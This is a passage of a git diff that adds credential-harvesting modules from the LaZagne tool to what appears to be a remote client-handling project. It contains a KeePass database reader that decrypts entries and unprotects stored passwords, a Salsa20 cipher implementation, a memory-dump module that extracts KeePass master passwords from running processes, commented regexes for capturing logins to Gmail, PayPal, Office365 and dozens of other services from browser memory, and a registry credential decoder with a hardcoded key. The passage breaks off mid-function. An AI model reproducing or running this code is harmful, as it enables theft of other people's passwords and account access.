+ """
+ Build the master key from header settings and key-hash list.
+
+ Start reading from `stream` after the header and decrypt all the data.
+ Remove padding as needed and feed into hashed block reader, set as
+ in-buffer.
+ """
+ super(KDB4File, self)._decrypt(stream)
+
+ data = aes_cbc_decrypt(stream.read(), self.master_key,
+ self.header.EncryptionIV)
+ data = unpad(data)
+
+ length = len(self.header.StreamStartBytes)
+ if self.header.StreamStartBytes == data[:length]:
+ # skip startbytes and wrap data in a hashed block io
+ self.in_buffer = HashedBlockIO(bytes=data[length:])
+ # set successful decryption flag
+ self.opened = True
+ else:
+ raise IOError('Master key invalid.')
+
+ def _encrypt(self):
+ """
+ Rebuild the master key from header settings and key-hash list. Encrypt
+ the stream start bytes and the out-buffer formatted as hashed block
+ stream with padding added as needed.
+ """
+ # rebuild master key from (possibly) updated header
+ self._make_master_key()
+
+ # make hashed block stream
+ block_buffer = HashedBlockIO()
+ block_buffer.write(self.out_buffer.read())
+ # data is buffered in hashed block io, start a new one
+ self.out_buffer = io.BytesIO()
+ # write start bytes (for successful decrypt check)
+ self.out_buffer.write(self.header.StreamStartBytes)
+ # append blocked data to out-buffer
+ block_buffer.write_block_stream(self.out_buffer)
+ block_buffer.close()
+ self.out_buffer.seek(0)
+
+ # encrypt the whole thing with header settings and master key
+ data = pad(self.out_buffer.read())
+ self.out_buffer = aes_cbc_encrypt(data, self.master_key,
+ self.header.EncryptionIV)
+
+ def _unzip(self):
+ """
+ Inplace decompress in-buffer. Read/write position is moved to 0.
+ """
+ self.in_buffer.seek(0)
+ d = zlib.decompressobj(16 + zlib.MAX_WBITS)
+ self.in_buffer = io.BytesIO(d.decompress(self.in_buffer.read()))
+ self.in_buffer.seek(0)
+
+ def _zip(self):
+ """
+ Inplace compress out-buffer. Read/write position is moved to 0.
+ """
+ data = self.out_buffer.read()
+ self.out_buffer = io.BytesIO()
+ # note: compresslevel=6 seems to be important for kdb4!
+ gz = gzip.GzipFile(fileobj=self.out_buffer, mode='wb', compresslevel=6)
+ gz.write(data)
+ gz.close()
+ self.out_buffer.seek(0)
+
+ def _make_master_key(self):
+ """
+ Make the master key by (1) combining the credentials to create
+ a composite hash, (2) transforming the hash using the transform seed
+ for a specific number of rounds and (3) finally hashing the result in
+ combination with the master seed.
+ """
+ super(KDB4File, self)._make_master_key()
+ composite = sha256(''.join(self.keys))
+ tkey = transform_key(composite,
+ self.header.TransformSeed,
+ self.header.TransformRounds)
+ self.master_key = sha256(self.header.MasterSeed + tkey)
+
+
+class KDBXmlExtension:
+ """
+ The KDB4 payload is a XML document. For easier use this class provides
+ a lxml.objectify'ed version of the XML-tree as the `obj_root` attribute.
+
+ More importantly though in the XML document text values can be protected
+ using Salsa20. Protected elements are unprotected by default (passwords are
+ in clear). You can override this with the `unprotect=False` argument.
+ """
+
+ def __init__(self, unprotect=True):
+ self._salsa_buffer = bytearray()
+ self.salsa = Salsa20(
+ sha256(self.header.ProtectedStreamKey),
+ KDB4_SALSA20_IV)
+
+ self.in_buffer.seek(0)
+ # self.tree = objectify.parse(self.in_buffer)
+ # self.obj_root = self.tree.getroot()
+ self.obj_root = ElementTree.fromstring(self.in_buffer.read())
+
+ if unprotect:
+ self.unprotect()
+
+ def unprotect(self):
+ """
+ Find all elements with a 'Protected=True' attribute and replace the text
+ with an unprotected value in the XML element tree. The original text is
+ set as 'ProtectedValue' attribute and the 'Protected' attribute is set
+ to 'False'. The 'ProtectPassword' element in the 'Meta' section is also
+ set to 'False'.
+ """
+ self._reset_salsa()
+ for elem in self.obj_root.iterfind('.//Value[@Protected="True"]'):
+ if elem.text is not None:
+ elem.set('ProtectedValue', elem.text)
+ elem.set('Protected', 'False')
+ elem.text = self._unprotect(elem.text)
+
+ # def protect(self):
+ # """
+ # Find all elements with a 'Protected=False' attribute and replace the
+ # text with a protected value in the XML element tree. If there was a
+ # 'ProtectedValue' attribute, it is deleted and the 'Protected' attribute
+ # is set to 'True'. The 'ProtectPassword' element in the 'Meta' section is
+ # also set to 'True'.
+
+ # This does not just restore the previous protected value, but reencrypts
+ # all text values of elements with 'Protected=False'. So you could use
+ # this after modifying a password, adding a completely new entry or
+ # deleting entry history items.
+ # """
+ # self._reset_salsa()
+ # self.obj_root.Meta.MemoryProtection.ProtectPassword._setText('True')
+ # for elem in self.obj_root.iterfind('.//Value[@Protected="False"]'):
+ # etree.strip_attributes(elem, 'ProtectedValue')
+ # elem.set('Protected', 'True')
+ # elem._setText(self._protect(elem.text))
+
+ # def pretty_print(self):
+ # """Return a serialization of the element tree."""
+ # return etree.tostring(self.obj_root, pretty_print=True,
+ # encoding='utf-8', standalone=True)
+
+ def to_dic(self):
+ """Return a dictionnary of the element tree."""
+ pwd_found = []
+ # print etree.tostring(self.obj_root)
+ root = ElementTree.fromstring(ElementTree.tostring(self.obj_root))
+ for entry in root.findall('.//Root//Entry'):
+ dic = {}
+ for elem in entry.iter('String'):
+ try:
+ if elem[0].text == 'UserName':
+ dic['Login'] = elem[1].text
+ else:
+ # Replace new line by a point
+ dic[elem[0].text] = elem[1].text.replace('\n', '.')
+ except Exception as e:
+ # print e
+ pass
+ pwd_found.append(dic)
+ return pwd_found
+
+ # def write_to(self, stream):
+ # """Serialize the element tree to the out-buffer."""
+ # if self.out_buffer is None:
+ # self.protect()
+ # self.out_buffer = io.BytesIO(self.pretty_print())
+
+ def _reset_salsa(self):
+ """Clear the salsa buffer and reset algorithm counter to 0."""
+ self._salsa_buffer = bytearray()
+ self.salsa.set_counter(0)
+
+ def _get_salsa(self, length):
+ """
+ Returns the next section of the "random" Salsa20 bytes with the
+ requested `length`.
+ """
+ while length > len(self._salsa_buffer):
+ new_salsa = self.salsa.encrypt_bytes(str(bytearray(64)))
+ self._salsa_buffer.extend(new_salsa)
+ nacho = self._salsa_buffer[:length]
+ del self._salsa_buffer[:length]
+ return nacho
+
+ def _unprotect(self, string):
+ """
+ Base64 decode and XOR the given `string` with the next salsa.
+ Returns an unprotected string.
+ """
+ tmp = base64.b64decode(string)
+ return str(xor(tmp, self._get_salsa(len(tmp))))
+
+ def _protect(self, string):
+ """
+ XORs the given `string` with the next salsa and base64 encodes it.
+ Returns a protected string.
+ """
+ tmp = str(xor(string, self._get_salsa(len(string))))
+ return base64.b64encode(tmp)
+
+
+class KDB4Reader(KDB4File, KDBXmlExtension):
+ """
+ Usually you would want to use the `keepass.open` context manager to open a
+ file. It checks the file signature and creates a suitable reader-instance.
+
+ doing it by hand is also possible::
+
+ kdb = keepass.KDB4Reader()
+ kdb.add_credentials(password='secret')
+ with open('passwords.kdb', 'rb') as fh:
+ kdb.read_from(fh)
+
+ or...::
+
+ with open('passwords.kdb', 'rb') as fh:
+ kdb = keepass.KDB4Reader(fh, password='secret')
+
+ """
+
+ def __init__(self, stream=None, **credentials):
+ KDB4File.__init__(self, stream, **credentials)
+
+ def read_from(self, stream, unprotect=True):
+ KDB4File.read_from(self, stream)
+ # the extension requires parsed header and decrypted self.in_buffer, so
+ # initialize only here
+ KDBXmlExtension.__init__(self, unprotect)
+
+ # def write_to(self, stream, use_etree=True):
+ # """
+ # Write the KeePass database back to a KeePass2 compatible file.
+
+ # :arg stream: A file-like object or IO buffer.
+ # :arg use_tree: Serialize the element tree to XML to save (default:
+ # True), Set to False to write the data currently in the in-buffer
+ # instead.
+ # """
+ # if use_etree:
+ # KDBXmlExtension.write_to(self, stream)
+ # KDB4File.write_to(self, stream)
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py
new file mode 100644
index 0000000..ae0641a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py
@@ -0,0 +1,353 @@
+#!/usr/bin/env python
+# coding: utf-8
+
+"""
+ pureSalsa20.py -- a pure Python implementation of the Salsa20 cipher
+ ====================================================================
+ There are comments here by two authors about three pieces of software:
+ comments by Larry Bugbee about
+ Salsa20, the stream cipher by Daniel J. Bernstein
+ (including comments about the speed of the C version) and
+ pySalsa20, Bugbee's own Python wrapper for salsa20.c
+ (including some references), and
+ comments by Steve Witham about
+ pureSalsa20, Witham's pure Python 2.5 implementation of Salsa20,
+ which follows pySalsa20's API, and is in this file.
+
+ Salsa20: a Fast Streaming Cipher (comments by Larry Bugbee)
+ -----------------------------------------------------------
+
+ Salsa20 is a fast stream cipher written by Daniel Bernstein
+ that basically uses a hash function and XOR making for fast
+ encryption. (Decryption uses the same function.) Salsa20
+ is simple and quick.
+
+ Some Salsa20 parameter values...
+ design strength 128 bits
+ key length 128 or 256 bits, exactly
+ IV, aka nonce 64 bits, always
+ chunk size must be in multiples of 64 bytes
+
+ Salsa20 has two reduced versions, 8 and 12 rounds each.
+
+ One benchmark (10 MB):
+ 1.5GHz PPC G4 102/97/89 MB/sec for 8/12/20 rounds
+ AMD Athlon 2500+ 77/67/53 MB/sec for 8/12/20 rounds
+ (no I/O and before Python GC kicks in)
+
+ Salsa20 is a Phase 3 finalist in the EU eSTREAM competition
+ and appears to be one of the fastest ciphers. It is well
+ documented so I will not attempt any injustice here. Please
+ see "References" below.
+
+ ...and Salsa20 is "free for any use".
+
+
+ pySalsa20: a Python wrapper for Salsa20 (Comments by Larry Bugbee)
+ ------------------------------------------------------------------
+
+ pySalsa20.py is a simple ctypes Python wrapper. Salsa20 is
+ as it's name implies, 20 rounds, but there are two reduced
+ versions, 8 and 12 rounds each. Because the APIs are
+ identical, pySalsa20 is capable of wrapping all three
+ versions (number of rounds hardcoded), including a special
+ version that allows you to set the number of rounds with a
+ set_rounds() function. Compile the version of your choice
+ as a shared library (not as a Python extension), name and
+ install it as libsalsa20.so.
+
+ Sample usage:
+ from pySalsa20 import Salsa20
+ s20 = Salsa20(key, IV)
+ dataout = s20.encryptBytes(datain) # same for decrypt
+
+ This is EXPERIMENTAL software and intended for educational
+ purposes only. To make experimentation less cumbersome,
+ pySalsa20 is also free for any use.
+
+ THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF
+ ANY KIND. USE AT YOUR OWN RISK.
+
+ Enjoy,
+
+ Larry Bugbee
+ bugbee@seanet.com
+ April 2007
+
+
+ References:
+ -----------
+ http://en.wikipedia.org/wiki/Salsa20
+ http://en.wikipedia.org/wiki/Daniel_Bernstein
+ http://cr.yp.to/djb.html
+ http://www.ecrypt.eu.org/stream/salsa20p3.html
+ http://www.ecrypt.eu.org/stream/p3ciphers/salsa20/salsa20_p3source.zip
+
+
+ Prerequisites for pySalsa20:
+ ----------------------------
+ - Python 2.5 (haven't tested in 2.4)
+
+
+ pureSalsa20: Salsa20 in pure Python 2.5 (comments by Steve Witham)
+ ------------------------------------------------------------------
+
+ pureSalsa20 is the stand-alone Python code in this file.
+ It implements the underlying Salsa20 core algorithm
+ and emulates pySalsa20's Salsa20 class API (minus a bug(*)).
+
+ pureSalsa20 is MUCH slower than libsalsa20.so wrapped with pySalsa20--
+ about 1/1000 the speed for Salsa20/20 and 1/500 the speed for Salsa20/8,
+ when encrypting 64k-byte blocks on my computer.
+
+ pureSalsa20 is for cases where portability is much more important than
+ speed. I wrote it for use in a "structured" random number generator.
+
+ There are comments about the reasons for this slowness in
+ http://www.tiac.net/~sw/2010/02/PureSalsa20
+
+ Sample usage:
+ from pureSalsa20 import Salsa20
+ s20 = Salsa20(key, IV)
+ dataout = s20.encryptBytes(datain) # same for decrypt
+
+ I took the test code from pySalsa20, added a bunch of tests including
+ rough speed tests, and moved them into the file testSalsa20.py.
+ To test both pySalsa20 and pureSalsa20, type
+ python testSalsa20.py
+
+ (*)The bug (?) in pySalsa20 is this. The rounds variable is global to the
+ libsalsa20.so library and not switched when switching between instances
+ of the Salsa20 class.
+ s1 = Salsa20( key, IV, 20 )
+ s2 = Salsa20( key, IV, 8 )
+ In this example,
+ with pySalsa20, both s1 and s2 will do 8 rounds of encryption.
+ with pureSalsa20, s1 will do 20 rounds and s2 will do 8 rounds.
+ Perhaps giving each instance its own nRounds variable, which
+ is passed to the salsa20wordtobyte() function, is insecure. I'm not a
+ cryptographer.
+
+ pureSalsa20.py and testSalsa20.py are EXPERIMENTAL software and
+ intended for educational purposes only. To make experimentation less
+ cumbersome, pureSalsa20.py and testSalsa20.py are free for any use.
+
+ Revisions:
+ ----------
+ p3.2 Fixed bug that initialized the output buffer with plaintext!
+ Saner ramping of nreps in speed test.
+ Minor changes and print statements.
+ p3.1 Took timing variability out of add32() and rot32().
+ Made the internals more like pySalsa20/libsalsa .
+ Put the semicolons back in the main loop!
+ In encryptBytes(), modify a byte array instead of appending.
+ Fixed speed calculation bug.
+ Used subclasses instead of patches in testSalsa20.py .
+ Added 64k-byte messages to speed test to be fair to pySalsa20.
+ p3 First version, intended to parallel pySalsa20 version 3.
+
+ More references:
+ ----------------
+ http://www.seanet.com/~bugbee/crypto/salsa20/ [pySalsa20]
+ http://cr.yp.to/snuffle.html [The original name of Salsa20]
+ http://cr.yp.to/snuffle/salsafamily-20071225.pdf [ Salsa20 design]
+ http://www.tiac.net/~sw/2010/02/PureSalsa20
+
+ THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF
+ ANY KIND. USE AT YOUR OWN RISK.
+
+ Cheers,
+
+ Steve Witham sw at remove-this tiac dot net
+ February, 2010
+"""
+
+from array import array
+from struct import Struct
+from foreign.client_handling.lazagne.config.winstructure import char_to_int
+
+little_u64 = Struct("<Q") # little-endian 64-bit unsigned.
+# Unpacks to a tuple of one element!
+
+little16_i32 = Struct("<16i") # 16 little-endian 32-bit signed ints.
+little4_i32 = Struct("<4i") # 4 little-endian 32-bit signed ints.
+little2_i32 = Struct("<2i") # 2 little-endian 32-bit signed ints.
+
+_version = 'p3.2'
+
+try:
+ long
+ xrange
+except NameError:
+ long = int
+ xrange = range
+
+
+# ----------- Salsa20 class which emulates pySalsa20.Salsa20 ---------------
+
+class Salsa20(object):
+ def __init__(self, key=None, iv=None, rounds=20):
+ self._lastChunk64 = True
+ self._IVbitlen = 64 # must be 64 bits
+ self.ctx = [0] * 16
+ if key:
+ self.set_key(key)
+ if iv:
+ self.set_iv(iv)
+
+ self.set_rounds(rounds)
+
+ def set_key(self, key):
+ assert type(key) == str
+ ctx = self.ctx
+ if len(key) == 32: # recommended
+ constants = "expand 32-byte k"
+ ctx[1], ctx[2], ctx[3], ctx[4] = little4_i32.unpack(key[0:16])
+ ctx[11], ctx[12], ctx[13], ctx[14] = little4_i32.unpack(key[16:32])
+ elif len(key) == 16:
+ constants = "expand 16-byte k"
+ ctx[1], ctx[2], ctx[3], ctx[4] = little4_i32.unpack(key[0:16])
+ ctx[11], ctx[12], ctx[13], ctx[14] = little4_i32.unpack(key[0:16])
+ else:
+ raise Exception("key length isn't 32 or 16 bytes.")
+ ctx[0], ctx[5], ctx[10], ctx[15] = little4_i32.unpack(constants)
+
+ def set_iv(self, iv):
+ assert type(iv) == str
+ assert len(iv) * 8 == 64, 'nonce (IV) not 64 bits'
+ self.iv = iv
+ ctx = self.ctx
+ ctx[6], ctx[7] = little2_i32.unpack(iv)
+ ctx[8], ctx[9] = 0, 0 # Reset the block counter.
+
+ set_nonce = set_iv # support an alternate name
+
+ def set_counter(self, counter):
+ assert (type(counter) in (int, long))
+ assert (0 <= counter < 1 << 64), "counter < 0 or >= 2**64"
+ ctx = self.ctx
+ ctx[8], ctx[9] = little2_i32.unpack(little_u64.pack(counter))
+
+ def get_counter(self):
+ return little_u64.unpack(little2_i32.pack(*self.ctx[8:10]))[0]
+
+ def set_rounds(self, rounds, testing=False):
+ assert testing or rounds in [8, 12, 20], 'rounds must be 8, 12, 20'
+ self.rounds = rounds
+
+ def encrypt_bytes(self, data):
+ assert type(data) == str, 'data must be byte string'
+ assert self._lastChunk64, 'previous chunk not multiple of 64 bytes'
+ lendata = len(data)
+ munged = array('c', '\x00' * lendata)
+ for i in xrange(0, lendata, 64):
+ h = salsa20_wordtobyte(self.ctx, self.rounds, check_rounds=False)
+ self.set_counter((self.get_counter() + 1) % 2 ** 64)
+ # Stopping at 2^70 bytes per nonce is user's responsibility.
+ for j in xrange(min(64, lendata - i)):
+ munged[i + j] = chr(char_to_int(data[i + j]) ^ char_to_int(h[j]))
+
+ self._lastChunk64 = not lendata % 64
+ return munged.tostring()
+
+ decrypt_bytes = encrypt_bytes # encrypt and decrypt use same function
+
+
+# --------------------------------------------------------------------------
+
+def salsa20_wordtobyte(input, n_rounds=20, check_rounds=True):
+ """ Do nRounds Salsa20 rounds on a copy of
+ input: list or tuple of 16 ints treated as little-endian unsigneds.
+ Returns a 64-byte string.
+ """
+
+ assert (type(input) in (list, tuple) and len(input) == 16)
+ assert (not check_rounds or (n_rounds in [8, 12, 20]))
+
+ x = list(input)
+
+ def XOR(a, b):
+ return a ^ b
+
+ ROTATE = rot32
+ PLUS = add32
+
+ for i in range(n_rounds / 2):
+ # These ...XOR...ROTATE...PLUS... lines are from ecrypt-linux.c
+ # unchanged except for indents and the blank line between rounds:
+ x[4] = XOR(x[4], ROTATE(PLUS(x[0], x[12]), 7))
+ x[8] = XOR(x[8], ROTATE(PLUS(x[4], x[0]), 9))
+ x[12] = XOR(x[12], ROTATE(PLUS(x[8], x[4]), 13))
+ x[0] = XOR(x[0], ROTATE(PLUS(x[12], x[8]), 18))
+ x[9] = XOR(x[9], ROTATE(PLUS(x[5], x[1]), 7))
+ x[13] = XOR(x[13], ROTATE(PLUS(x[9], x[5]), 9))
+ x[1] = XOR(x[1], ROTATE(PLUS(x[13], x[9]), 13))
+ x[5] = XOR(x[5], ROTATE(PLUS(x[1], x[13]), 18))
+ x[14] = XOR(x[14], ROTATE(PLUS(x[10], x[6]), 7))
+ x[2] = XOR(x[2], ROTATE(PLUS(x[14], x[10]), 9))
+ x[6] = XOR(x[6], ROTATE(PLUS(x[2], x[14]), 13))
+ x[10] = XOR(x[10], ROTATE(PLUS(x[6], x[2]), 18))
+ x[3] = XOR(x[3], ROTATE(PLUS(x[15], x[11]), 7))
+ x[7] = XOR(x[7], ROTATE(PLUS(x[3], x[15]), 9))
+ x[11] = XOR(x[11], ROTATE(PLUS(x[7], x[3]), 13))
+ x[15] = XOR(x[15], ROTATE(PLUS(x[11], x[7]), 18))
+
+ x[1] = XOR(x[1], ROTATE(PLUS(x[0], x[3]), 7))
+ x[2] = XOR(x[2], ROTATE(PLUS(x[1], x[0]), 9))
+ x[3] = XOR(x[3], ROTATE(PLUS(x[2], x[1]), 13))
+ x[0] = XOR(x[0], ROTATE(PLUS(x[3], x[2]), 18))
+ x[6] = XOR(x[6], ROTATE(PLUS(x[5], x[4]), 7))
+ x[7] = XOR(x[7], ROTATE(PLUS(x[6], x[5]), 9))
+ x[4] = XOR(x[4], ROTATE(PLUS(x[7], x[6]), 13))
+ x[5] = XOR(x[5], ROTATE(PLUS(x[4], x[7]), 18))
+ x[11] = XOR(x[11], ROTATE(PLUS(x[10], x[9]), 7))
+ x[8] = XOR(x[8], ROTATE(PLUS(x[11], x[10]), 9))
+ x[9] = XOR(x[9], ROTATE(PLUS(x[8], x[11]), 13))
+ x[10] = XOR(x[10], ROTATE(PLUS(x[9], x[8]), 18))
+ x[12] = XOR(x[12], ROTATE(PLUS(x[15], x[14]), 7))
+ x[13] = XOR(x[13], ROTATE(PLUS(x[12], x[15]), 9))
+ x[14] = XOR(x[14], ROTATE(PLUS(x[13], x[12]), 13))
+ x[15] = XOR(x[15], ROTATE(PLUS(x[14], x[13]), 18))
+
+ for i in range(len(input)):
+ x[i] = PLUS(x[i], input[i])
+ return little16_i32.pack(*x)
+
+
+# --------------------------- 32-bit ops -------------------------------
+
+def trunc32(w):
+ """ Return the bottom 32 bits of w as a Python int.
+ This creates longs temporarily, but returns an int. """
+ w = int((w & 0x7fffFFFF) | -(w & 0x80000000))
+ assert type(w) == int
+ return w
+
+
+def add32(a, b):
+ """ Add two 32-bit words discarding carry above 32nd bit,
+ and without creating a Python long.
+ Timing shouldn't vary.
+ """
+ lo = (a & 0xFFFF) + (b & 0xFFFF)
+ hi = (a >> 16) + (b >> 16) + (lo >> 16)
+ return (-(hi & 0x8000) | (hi & 0x7FFF)) << 16 | (lo & 0xFFFF)
+
+
+def rot32(w, n_left):
+ """ Rotate 32-bit word left by nLeft or right by -nLeft
+ without creating a Python long.
+ Timing depends on nLeft but not on w.
+ """
+ n_left &= 31 # which makes nLeft >= 0
+ if n_left == 0:
+ return w
+
+ # Note: now 1 <= nLeft <= 31.
+ # RRRsLLLLLL There are nLeft RRR's, (31-nLeft) LLLLLL's,
+ # => sLLLLLLRRR and one s which becomes the sign bit.
+ RRR = (((w >> 1) & 0x7fffFFFF) >> (31 - n_left))
+ sLLLLLL = -((1 << (31 - n_left)) & w) | (0x7fffFFFF >> n_left) & w
+ return RRR | (sLLLLLL << n_left)
+
+# --------------------------------- end -----------------------------------
diff --git a/foreign/client_handling/lazagne/softwares/memory/memorydump.py b/foreign/client_handling/lazagne/softwares/memory/memorydump.py
new file mode 100644
index 0000000..c4a256c
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/memorydump.py
@@ -0,0 +1,117 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# Author: Nicolas VERDIER (contact@n1nj4.eu)
+
+"""
+This script uses memorpy to dumps cleartext passwords from browser's memory
+It has been tested on both windows 10 and ubuntu 16.04
+The regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz
+"""
+
+from .keethief import KeeThief
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.winstructure import get_full_path_from_pid
+from foreign.client_handling.lazagne.config.lib.memorpy import *
+
+
+# Memorpy has been removed because it takes to much time to execute - could return one day
+
+# create a symbolic link on Windows
+# mklink /J memorpy ..\..\..\..\external\memorpy\memorpy
+
+# password_regex=[
+# "(email|log(in)?|user(name)?)=(?P<Login>.{1,25})?&.{0,10}?p[a]?[s]?[s]?[w]?[o]?[r]?[d]?=(?P<Password>.{1,25})&"
+# ]
+
+# grep to list all URLs (could be useful to find the relation between a user / password and its host)
+# http_regex=[
+# "(?P<URL>http[s]?:\/\/[a-zA-Z0-9-]{1,61}(\.[a-zA-Z]{2,})+)"
+# ]
+
+# password_regex=[
+# ("Gmail","&Email=(?P<Login>.{1,99})?&Passwd=(?P<Password>.{1,99})?&PersistentCookie="),
+# ("Dropbox","login_email=(?P<Login>.{1,99})&login_password=(?P<Password>.{1,99})&"),
+# ("SalesForce","&display=page&username=(?P<Login>.{1,32})&pw=(?P<Password>.{1,16})&Login="),
+# ("Office365","login=(?P<Login>.{1,32})&passwd=(?P<Password>.{1,22})&PPSX="),
+# ("MicrosoftOneDrive","login=(?P<Login>.{1,42})&passwd=(?P<Password>.{1,22})&type=.{1,2}&PPFT="),
+# ("PayPal","login_email=(?P<Login>.{1,48})&login_password=(?P<Password>.{1,16})&submit=Log\+In&browser_name"),
+# ("awsWebServices","&email=(?P<Login>.{1,48})&create=.{1,2}&password=(?P<Password>.{1,22})&metadata1="),
+# ("OutlookWeb","&username=(?P<Login>.{1,48})&password=(?P<Password>.{1,48})&passwordText"),
+# ("Slack","&crumb=.{1,70}&email=(?P<Login>.{1,50})&password=(?P<Password>.{1,48})"),
+# ("CitrixOnline","emailAddress=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&submit"),
+# ("Xero ","fragment=&userName=(?P<Login>.{1,32})&password=(?P<Password>.{1,22})&__RequestVerificationToken="),
+# ("MYOB","UserName=(?P<Login>.{1,50})&Password=(?P<Password>.{1,50})&RememberMe="),
+# ("JuniperSSLVPN","tz_offset=-.{1,6}&username=(?P<Login>.{1,22})&password=(?P<Password>.{1,22})&realm=.{1,22}&btnSubmit="),
+# ("Twitter","username_or_email%5D=(?P<Login>.{1,42})&session%5Bpassword%5D=(?P<Password>.{1,22})&remember_me="),
+# ("Facebook","lsd=.{1,10}&email=(?P<Login>.{1,42})&pass=(?P<Password>.{1,22})&(?:default_)?persistent="),
+# ("LinkedIN","session_key=(?P<Login>.{1,50})&session_password=(?P<Password>.{1,50})&isJsEnabled"),
+# ("Malwr","&username=(?P<Login>.{1,32})&password=(?P<Password>.{1,22})&next="),
+# ("VirusTotal","password=(?P<Password>.{1,22})&username=(?P<Login>.{1,42})&next=%2Fen%2F&response_format=json"),
+# ("AnubisLabs","username=(?P<Login>.{1,42})&password=(?P<Password>.{1,22})&login=login"),
+# ("CitrixNetScaler","login=(?P<Login>.{1,22})&passwd=(?P<Password>.{1,42})"),
+# ("RDPWeb","DomainUserName=(?P<Login>.{1,52})&UserPass=(?P<Password>.{1,42})&MachineType"),
+# ("JIRA","username=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&rememberMe"),
+# ("Redmine","username=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})&login=Login"),
+# ("Github","%3D%3D&login=(?P<Login>.{1,50})&password=(?P<Password>.{1,50})"),
+# ("BugZilla","Bugzilla_login=(?P<Login>.{1,50})&Bugzilla_password=(?P<Password>.{1,50})"),
+# ("Zendesk","user%5Bemail%5D=(?P<Login>.{1,50})&user%5Bpassword%5D=(?P<Password>.{1,50})"),
+# ("Cpanel","user=(?P<Login>.{1,50})&pass=(?P<Password>.{1,50})"),
+# ]
+
+browser_list = ["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"]
+keepass_process = 'keepass.exe'
+
+
+class MemoryDump(ModuleInfo):
+ def __init__(self):
+ options = {'command': '-m', 'action': 'store_true', 'dest': 'memory_dump',
+ 'help': 'retrieve browsers passwords from memory'}
+ ModuleInfo.__init__(self, 'memory_dump', 'memory', options)
+
+ def run(self):
+ pwd_found = []
+ for process in Process.list():
+ # if not memorpy:
+ # if process.get('name', '').lower() in browser_list:
+ # # Get only child process
+ # try:
+ # p = psutil.Process(process.get('pid'))
+ # if p.parent():
+ # if process.get('name', '').lower() != str(p.parent().name().lower()):
+ # continue
+ # except:
+ # continue
+ #
+ # try:
+ # mw = MemWorker(pid=process.get('pid'))
+ # except ProcessException:
+ # continue
+ #
+ # self.debug(u'dumping passwords from %s (pid: %s) ...' % (process.get('name', ''),
+ # str(process.get('pid', ''))))
+ # for _, x in mw.mem_search(password_regex, ftype='groups'):
+ # login, password = x[-2:]
+ # pwd_found.append(
+ # {
+ # 'URL' : 'Unknown',
+ # 'Login' : login,
+ # 'Password' : password
+ # }
+ # )
+
+ if keepass_process in process.get('name', '').lower():
+ full_exe_path = get_full_path_from_pid(process.get('pid'))
+ k = KeeThief()
+ if k.run(full_exe_path=full_exe_path):
+ for keepass in constant.keepass:
+ data = keepass.get('KcpPassword', None)
+ if data:
+ pwd_found.append({
+ 'Category': 'KeePass',
+ 'KeyType': data['KeyType'],
+ 'Login': data['Database'],
+ 'Password': data['Password']
+ })
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/multimedia/__init__.py b/foreign/client_handling/lazagne/softwares/multimedia/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/multimedia/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/multimedia/eyecon.py b/foreign/client_handling/lazagne/softwares/multimedia/eyecon.py
new file mode 100644
index 0000000..1fa7a66
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/multimedia/eyecon.py
@@ -0,0 +1,98 @@
+# -*- coding: utf-8 -*-
+import codecs
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import *
+
+
+class EyeCON(ModuleInfo):
+ """
+ eyeCON software WAll management software
+ infos at http://www.eyevis.de/en/products/wall-management-software.html
+ """
+ def __init__(self):
+ self.hex_key = [ 35, 231, 64, 111, 100, 72, 95, 65, 68, 51, 52, 70, 67, 51, 65, 95, 54, 55, 50, 48, 95, 49, 49,
+ 68, 54, 95, 65, 48, 53, 50, 95, 48, 48, 48, 52, 55, 54, 65, 48, 70, 66, 53, 66, 65, 70, 88, 95, 76, 79, 71,
+ 73, 49, 76, 115, 107, 100, 85, 108, 107, 106, 102, 100, 109, 32, 50, 102, 115, 100, 102, 102, 32, 102, 119,
+ 115, 38, 78, 68, 76, 76, 95, 72, 95, 95, 0 ]
+ ModuleInfo.__init__(self, name='EyeCon', category='multimedia')
+
+ def deobfuscate(self, ciphered_str):
+ return b''.join([chr_or_byte(char_to_int(c) ^ k) for c, k in zip(codecs.decode(ciphered_str, 'hex'), self.hex_key)])
+
+ def get_db_hosts(self):
+ hosts = []
+ paths = (
+ ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\WOW6432Node\\eyevis\\eyeDB', 'DB1'),
+ ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\WOW6432Node\\eyevis\\eyeDB', 'DB2'),
+ ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\WOW6432Node\\eyevis\\eyeDB', 'DB3'),
+ ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\eyevis\\eyeDB', 'DB1'),
+ ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\eyevis\\eyeDB', 'DB2'),
+ ('EyeCON DB Host', HKEY_LOCAL_MACHINE, 'SOFTWARE\\eyevis\\eyeDB', 'DB3'),
+ )
+ for path in paths:
+ try:
+ hkey = OpenKey(path[1], path[2])
+ reg_key = winreg.QueryValueEx(hkey, path[3])[0]
+ if reg_key:
+ hosts += [reg_key]
+ except Exception:
+ # skipping if value doesn't exist
